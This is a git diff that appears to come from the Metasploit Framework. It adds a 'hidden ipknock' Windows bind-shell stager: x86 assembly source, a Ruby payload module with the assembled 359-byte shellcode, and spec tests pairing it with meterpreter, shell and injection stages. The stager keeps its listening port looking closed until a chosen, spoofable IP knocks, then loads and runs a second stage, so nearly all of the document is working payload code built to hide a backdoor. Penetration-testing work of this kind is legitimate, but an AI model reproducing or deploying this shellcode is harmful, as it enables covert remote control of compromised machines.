diff --git a/external/source/shellcode/windows/x86/src/block/block_hidden_bind_ipknock.asm b/external/source/shellcode/windows/x86/src/block/block_hidden_bind_ipknock.asm new file mode 100644 index 0000000000..e4974593d9 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_hidden_bind_ipknock.asm @@ -0,0 +1,99 @@ +;-----------------------------------------------------------------------------; +; Original Shellcode: Stephen Fewer (stephen_fewer@harmonysecurity.com) +; Modified version to add hidden ipknock bind shell support: Borja Merino (bmerinofe@gmail.com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (December 2014) +;-----------------------------------------------------------------------------; +[BITS 32] + +; Input: EBP must be the address of 'api_call'. +; Output: EDI will be the newly connected clients socket +; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0) + +bind_tcp: + push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack. + push 0x5F327377 ; ... + push esp ; Push a pointer to the "ws2_32" string on the stack. + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "ws2_32" ) + + mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) + sub esp, eax ; alloc some space for the WSAData structure + push esp ; push a pointer to this stuct + push eax ; push the wVersionRequested parameter + push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) + call ebp ; WSAStartup( 0x0190, &WSAData ); + + push eax ; if we succeed, eax wil be zero, push zero for the flags param. + push eax ; push null for reserved parameter + push eax ; we do not specify a WSAPROTOCOL_INFO structure + push eax ; we do not specify a protocol + inc eax ; + push eax ; push SOCK_STREAM + inc eax ; + push eax ; push AF_INET + push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) + call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + xchg edi, eax ; save the socket for later, don't care about the value of eax after this + + xor ebx, ebx ; Clear EBX + push ebx ; bind to 0.0.0.0 + push 0x5C110002 ; family AF_INET and port 4444 + mov esi, esp ; save a pointer to sockaddr_in struct + push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused) + push esi ; pointer to the sockaddr_in struct + push edi ; socket + push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" ) + call ebp ; bind( s, &sockaddr_in, 16 ); + + ; Hidden ipknock Support ---------- + + push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter + push esp ; optval: pointer to the buffer in which the value for the requested option is specified + push 0x3002 ; level at which the option is defined: SOL_SOCKET + push 0xFFFF ; the socket option for which the value is to be set: SO_CONDITIONAL_ACCEPT + push edi ; socket descriptor + push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" ) + call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 ); + + push ebx ; backlog + push edi ; socket + push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" ) + call ebp ; listen( s, 0 ); +condition: + push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function) + call wsaaccept ; push the start of the condition function on the stack + mov eax, DWORD [esp+4] ; + mov eax, DWORD [eax+4] ; + mov eax, DWORD [eax+4] ; get the client IP returned in the stack + sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed + jz equal ; if equal, eax = 0 + xor eax, eax + inc eax ; if not equal, eax = 1 +equal: + mov DWORD [ebp+84], eax ; save the value of eax out of the scope of the callback. + ; This value will be read it after calling WSAaccept since + ; WSAaccept would always return FFFFFFFF when the IP is spoofed + retn 0x20 ; some stack alignment needed to return to mswsock + +wsaaccept: + push ebx ; length of the sockaddr = nul + push ebx ; struct sockaddr = nul + push edi ; socket descriptor + push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" ) + call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0) + cmp DWORD [esp+4], 0 + jnz condition ; Check if the IP knocked is allowed + inc eax + jnz connection ; Check if the 3-Way Handshake is successfully established + push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function) + push ebx ; fnCondition = 0 + jmp wsaaccept + jz condition ; if error (eax = -1) jump to condition function to wait for another connection + +connection: + dec eax ; restore eax + push edi ; push the listening socket to close + xchg edi, eax ; replace the listening socket with the new connected socket for further comms + push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) + call ebp ; closesocket( s ); diff --git a/external/source/shellcode/windows/x86/src/stager/stager_bind_ipknock_tcp.asm b/external/source/shellcode/windows/x86/src/stager/stager_bind_ipknock_tcp.asm new file mode 100644 index 0000000000..57b589256b --- /dev/null +++ b/external/source/shellcode/windows/x86/src/stager/stager_bind_ipknock_tcp.asm @@ -0,0 +1,20 @@ +;-----------------------------------------------------------------------------; +; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Borja Merino (bmerinofe[at]gmail[dot]com) [Hidden ACL support]] +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (Dec 2014) +; Size: 359 bytes +; Build: >build.py stager_hidden_bind_tcp +;-----------------------------------------------------------------------------; +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%include "./src/block/block_hidden_bind_ipknock.asm" + ; By here we will have performed the bind_tcp connection and EDI will be our socket. +%include "./src/block/block_recv.asm" + ; By now we will have received in the second stage into a RWX buffer and be executing it diff --git a/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb b/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb new file mode 100644 index 0000000000..1e536682c9 --- /dev/null +++ b/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb @@ -0,0 +1,82 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/bind_tcp' + + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Windows + + + def self.handler_type_alias + "bind_hidden_ipknock_tcp" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Hidden Bind Ipknock TCP Stager', + 'Description' => 'Listen for a connection. First, the port will need to be knocked from + the IP defined in KHOST. This IP will work as an authentication method + (you can spoof it with tools like hping). After that you could get your + shellcode from any IP. The socket will appear as "closed" helping us to + hide the shellcode', + 'Author' => + [ + 'hdm', # original payload module (stager bind_tcp) + 'skape', # original payload module (stager bind_tcp) + 'sf', # original payload module (stager bind_tcp) + 'Borja Merino ' # Add Hidden Ipknock functionality + ], + 'License' => MSF_LICENSE, + 'References' => ['URL', 'http://www.shelliscoming.com/2014/07/ip-knock-shellcode-spoofed-ip-as.html'], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => + { + 'RequiresMidstager' => false, + 'Offsets' => + { + 'LPORT' => [ 193, 'n' ], + 'KHOST' => [ 255, 'ADDR' ] + }, + 'Payload' => + # Length: 359 bytes + "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b" + + "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c" + + "\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" + + "\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20" + + "\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac" + + "\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" + + "\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" + + "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" + + "\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77" + + "\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00" + + "\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" + + "\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02" + + "\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5" + + "\x6a\x01\x54\x68\x02\x30\x00\x00\x68\xff\xff\x00\x00\x57\x68\xf1" + + "\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\xe8" + + "\x1a\x00\x00\x00\x8b\x44\x24\x04\x8b\x40\x04\x8b\x40\x04\x2d\xc0" + + "\xa8\x01\x21\x74\x03\x31\xc0\x40\x89\x45\x54\xc2\x20\x00\x53\x53" + + "\x57\x68\x94\xac\xbe\x33\xff\xd5\x83\x7c\x24\x04\x00\x75\xcf\x40" + + "\x75\x06\x53\x53\xeb\xe8\x74\xc6\x48\x57\x97\x68\x75\x6e\x4d\x61" + + "\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b" + + "\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5" + + "\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5" + + "\x01\xc3\x29\xc6\x75\xee\xc3" + } + )) + + register_options([ + OptAddress.new('KHOST', [true, "IP address allowed", nil]) + ]) + end +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index c6639f69ca..7c995116aa 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -3325,4 +3325,74 @@ describe 'modules/payloads', :content do modules_pathname: modules_pathname, reference_name: 'windows/vncinject/bind_hidden_tcp' end + + context 'windows/dllinject/bind_hidden_ipknock_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_ipknock_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/bind_hidden_ipknock_tcp' + end + + context 'windows/meterpreter/bind_hidden_ipknock_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_ipknock_tcp', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/bind_hidden_ipknock_tcp' + end + + context 'windows/patchupdllinject/bind_hidden_ipknock_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_ipknock_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/bind_hidden_ipknock_tcp' + end + + context 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_ipknock_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp' + end + + context 'windows/shell/bind_hidden_ipknock_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_ipknock_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/bind_hidden_ipknock_tcp' + end + + context 'windows/upexec/bind_hidden_ipknock_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_ipknock_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/bind_hidden_ipknock_tcp' + end + + context 'windows/vncinject/bind_hidden_ipknock_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_ipknock_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/bind_hidden_ipknock_tcp' + end end